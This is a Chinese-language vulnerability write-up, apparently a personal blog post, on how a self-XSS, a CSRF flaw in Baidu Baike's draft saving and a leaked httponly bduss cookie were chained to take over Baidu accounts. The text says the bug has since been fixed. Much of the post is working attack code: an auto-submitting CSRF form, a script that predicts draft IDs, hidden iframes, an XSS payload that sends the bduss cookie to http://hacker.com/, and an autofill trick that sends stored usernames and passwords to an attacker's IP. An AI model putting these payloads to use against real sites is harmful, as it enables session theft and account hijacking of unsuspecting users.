0x00 从信息泄露说起

随着web的不断发展,前端越来越复杂, 交互也越来越多。在前后端交互的过程中,往往会需要在页面/API中输出许多冗余的东西。程序猿哥哥们一不小心就会把敏感信息输出,比如:passwordhttponly cookieaccess_token等。

回到这次要分析的漏洞上来,百度百科在http://baike.baidu.com/mall的HTML源码中输出了bduss(核心cookie,httponly),利用泄露的bduss,可以直接获得用户的登录状态。漏洞已经修复,从 HttpOnly 隐私嗅探器 中借张截图,原理相同:

百度文库bduss泄露

本文将详细讲述,如何利用self-XSS,配合CSRF、信息泄露漏洞,控制受害者的百度账户。

0x10 鸡肋的 Self-XSS

托了托镜框,找到一个self-XSS:

self-XSS

冷门词条 -> 点击编辑 -> 插入参考资料 -> 保存到草稿箱 -> 从草稿箱找到对应草稿 -> 点击编辑重新进入编辑页面 -> 代码执行:

self-XSS 执行

但这个漏洞需要的用户交互太多了,几乎没法利用,有没有什么办法来简化这个过程呢?

0x20 总是被忽略的CSRF

我们来简单梳理一下这个XSS漏洞:

self-XSS 利用过程

完整的利用过程,需要和服务器交互三次,我们挨个来分析:

  • 保存到草稿箱 是否存在CSRF漏洞可利用?
  • 获取草稿ID ID是否为固定值?是否可以预测?
  • 访问草稿编辑页面 同上

我愉快的发现,保存到草稿箱的操作,是存在 CSRF 漏洞的(没有验证token,也没有验证referer),利用 iframe 来提交:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
submit.html
<form id="form" method="post" action="http://baike.baidu.com/editdraftsave" enctype="multipart/form-data">
<input type="input" name="from" value="">
<input type="input" name="album" value="">
<input type="input" name="lemmaTitle" value="敢不敢点→_→的《继续编辑》">
<!--省略一些input-->
...
<!--payload-->
<input type="input" name="reference" value='[{"type":2,"author":"[[payload]]","title":"1","publisher":"1","place":"1","publishYear":"1","refPage":"1","index":1}]'>
</form>
<script type="text/javascript">
document.getElementById("form").submit();
</script>
index.html
<iframe src="submit.html"></iframe>
<script>
// 提交草稿完成后,跳转到草稿浏览页,引导用户点击编辑按钮
setTimeout("window.location.href='http://baike.baidu.com/usercenter/lemmas#drafts'", 5000)
</script>
<!--一些伪装-->

当用户点击了攻击者的链接,5秒后,会跳转到百科的草稿浏览页,如下所示:

依赖社工的XSS

当用户点击了继续编辑之后,payload执行。但需要用户交互的XSS,多半又要被忽略。有没有什么办法能绕过用户交互来执行payload呢?

0x30 Tricks

编辑草稿(执行payload)的URL为:http://baike.baidu.com/wikisubmit/draftload?type=draft&id=。想去掉用户交互的环节,必须想办法获取到draft_id

在保存草稿的时候,服务器在http response里返回了draft_id,但我们是利用iframe发起的http请求,由于跨域策略的限制,并不能获得http response。

托了托镜框,发现突破点:草稿ID是连续的。也就是说我们可以尝试预测draft_id

草稿ID

简化后的利用思路如下图所示:
草稿ID

当受害者访问攻击者提供的页面时,hacker服务器会提交一次草稿(利用攻击者的账户信息),获取当前ID(记为hack_id)。hacker服务器返回给用户的页面,会在前端连续发出多次保存草稿的请求(利用受害者的账户信息)。由于请求发出的时间间隔很短,可以认为hack_id跟后续用户保存的草稿编号连续。5秒后,跳转到http://baike.baidu.com/wikisubmit/draftload?type=draft&id=NaN(或者,小于前端发出请求次数的其他数字)。

伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
listen.py
@app.route('/')
def test():
myid = int(getId())
return render_template('form.html', myid=myid)
def getId():
req = requests.post(url='http://baike.baidu.com/editdraftsave', data=data, headers={'Cookie': 'BDUSS={{hacker's bduss}}'})
num = req.content.split('"draftId":')[1].split('}')[0]
return num
form.html
<script type="text/javascript">
setTimeout("window.location.href='http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ myid }}'", 5000)
</script>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>

折腾了这么多,终于可以做到像普通反射性XSS一样,受害者点击某个链接,不经过用户交互 “直接” 执行攻击代码了。

0x40 boom!

有了一个很好用的无视 XSS Auditor 漏洞后,接下来就是要综合利用这个漏洞,做点儿坏事情( 嘿嘿嘿,开头提到了,bduss被输出在了http://baike.baidu.com/mall的源码中,构造后的payload如下:

1
<img src=1 onerror=xmlHttp=new&nbsp;XMLHttpRequest();xmlHttp.open('GET','/mall');xmlHttp.send();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){data=xmlHttp.responseText;bduss=data.substr(data.search('bduss')+8,192);window.location.href='http://hacker.com/'+bduss);}}>

最终效果是用户访问恶意链接后,会将bduss发送到攻击者的服务器。攻击者利用bduss,就可以控制用户的百度账户了。

抛开这个XSS,还有一些其他的利用方法,如:浏览器会记录用户的常用密码和账户,用于自动填充。虽然只会填充对应域名下的输入框,但对输入框的校验很宽松,用如下的代码即可触发自动填充:

1
2
3
4
5
6
7
8
9
10
<form>
    <input type="text" id="us2r">
    <input type="password" id="p4ss">
</form>
<script>
var img=document.createElement('img')
img.src="http://{{ hacker's ip }}/?data=" + us2r.value + ":" + p4ss.value
document.body.appendChild(img)
</script>

0x50 总结

安全是一个整体,看似没什么危害的洞,在特定情况下也会发挥奇效。

最后,欢迎对XSS利用有各种猥琐想法的同学来交流,微博 @Fr1day